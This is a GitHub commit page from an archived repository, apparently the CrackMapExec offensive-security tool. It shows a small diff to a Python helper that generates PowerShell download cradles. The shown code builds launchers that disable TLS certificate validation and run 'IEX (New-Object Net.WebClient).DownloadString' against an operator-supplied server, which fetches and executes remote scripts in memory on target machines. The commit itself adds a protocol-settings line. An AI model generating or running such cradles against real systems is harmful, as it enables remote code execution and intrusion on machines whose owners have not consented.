Skip to content
This repository has been archived by the owner on Dec 6, 2023. It is now read-only.

Commit

Permalink
Merge pull request #280 from awsmhacks/master
Browse files Browse the repository at this point in the history
update to powershell.py
  • Loading branch information
byt3bl33d3r authored Dec 10, 2018
2 parents 75449f6 + 304836d commit dbe142c
Showing 1 changed file with 2 additions and 0 deletions.
2 changes: 2 additions & 0 deletions cme/helpers/powershell.py
Original file line number Diff line number Diff line change
Expand Up @@ -197,6 +197,7 @@ def gen_ps_iex_cradle(context, scripts, command=str(), post_back=True):

launcher = """
[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}}
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{ps_script_name}')
{command}
""".format(server=context.server,
Expand All @@ -207,6 +208,7 @@ def gen_ps_iex_cradle(context, scripts, command=str(), post_back=True):

elif type(scripts) is list:
launcher = '[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\n'
launcher +="[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'"
for script in scripts:
launcher += "IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{script}')\n".format(server=context.server,
port=context.server_port,
Expand Down

0 comments on commit dbe142c

Please sign in to comment.